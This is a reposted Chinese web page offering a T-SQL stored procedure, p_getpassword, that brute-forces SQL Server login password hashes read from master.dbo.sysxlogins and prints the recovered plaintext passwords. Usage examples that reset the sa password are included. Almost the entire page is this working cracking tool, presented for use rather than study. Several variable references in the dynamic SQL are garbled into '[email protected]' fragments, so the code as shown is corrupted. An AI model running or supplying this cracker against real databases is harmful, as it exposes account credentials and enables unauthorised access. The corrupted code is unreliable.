首页 > 开发 > 综合 > 正文

发布一个SQL密码破解的存储过程

2024-07-21 02:11:48
字体:
来源:转载
供稿:网友

if exists (select * from dbo.sysobjects where id = object_id(n'[dbo].[p_getpassword]') and objectproperty(id, n'isprocedure') = 1)
drop procedure [dbo].[p_getpassword]
go

/*--穷举法破解 sql server 用户密码

可以破解中文,特殊字符,字符+尾随空格的密码
为了方便显示特殊字符的密码,在显示结果中,显示了组成密码的ascii

理论上可以破解任意位数的密码
条件是你的电脑配置足够,时间足够

--邹建 2004.08(引用请保留此信息)--*/

/*--调用示例

--测试特殊字符
declare @pwd sysname
set @pwd=char(0)+'a '
exec sp_password null,@pwd,'sa'
exec p_getpassword

--测试带空格的密码
exec sp_password null,'a  ','sa'
exec p_getpassword

--测试中文
exec sp_password null,'我 ','sa'
exec p_getpassword

--清除密码
exec sp_password null,null,'sa'
--*/
create proc p_getpassword
@username sysname=null,--用户名,如果不指定,则列出所有用户
@pwdlen int=3--密码破解的位数,默认只破解3位及以下的密码
as
--生成要破解的密码的用户表
select name,password
,type=case when xstatus&2048=2048 then 1 else 0 end
,jm=case when password is null or datalength(password)<46
then 1 else 0 end
,pwdstr=case when datalength(password)<46
then cast(password as sysname)
else cast('' as sysname) end
,pwd=cast('' as varchar(8000))
into #pwd
from master.dbo.sysxlogins a
where srvid is null
and name=isnull(@username,name)

--生成临时表
select top 255 id=identity(int,0,1) into #t from sysobjects a,sysobjects b
alter table #t add constraint pk_#t primary key(id)

--清理不需要的字符
if not exists(select 1 from #pwd where type=1)
delete from #t where id between 65 and 90 or id between 129 and 254

--密码破解处理
declare @l int
declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000),@s4 varchar(8000)

--破解1位密码
select @l=0
,@s1='id=a.id'
,@s2='#t a'
,@s3='char(b.id)'
,@s4='cast(b.id as varchar)'
exec('
update pwd set jm=1,pwdstr='[email protected]+'
,pwd='[email protected]+'
from #pwd pwd,#t b
where pwd.jm=0
and pwdcompare('[email protected]+',pwd.password,pwd.type)=1
')

--破解超过2位的密码
while exists(select 1 from #pwd where jm=0 and @l<@pwdlen-1)
begin
select @[email protected]+1
,@[email protected]+',id'+cast(@l as varchar)
+'='+char(@l/26+97)+char(@l%26+97)+'.id'
,@[email protected]+',#t '+char(@l/26+97)+char(@l%26+97)
,@[email protected]+'+char(b.id'+cast(@l as varchar)+')'
,@[email protected]+'+'',''+cast(b.id'+cast(@l as varchar)+' as varchar)'
exec('
select '[email protected]+' into #tt from '[email protected]+'
update pwd set jm=1,pwdstr='[email protected]+'
,pwd='[email protected]+'
from #pwd pwd,#tt b
where pwd.jm=0
and pwdcompare('[email protected]+',pwd.password,pwd.type)=1
')
end

--显示破解的密码
select 用户名=name,密码=pwdstr,密码ascii=pwd
from #pwd
go

发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表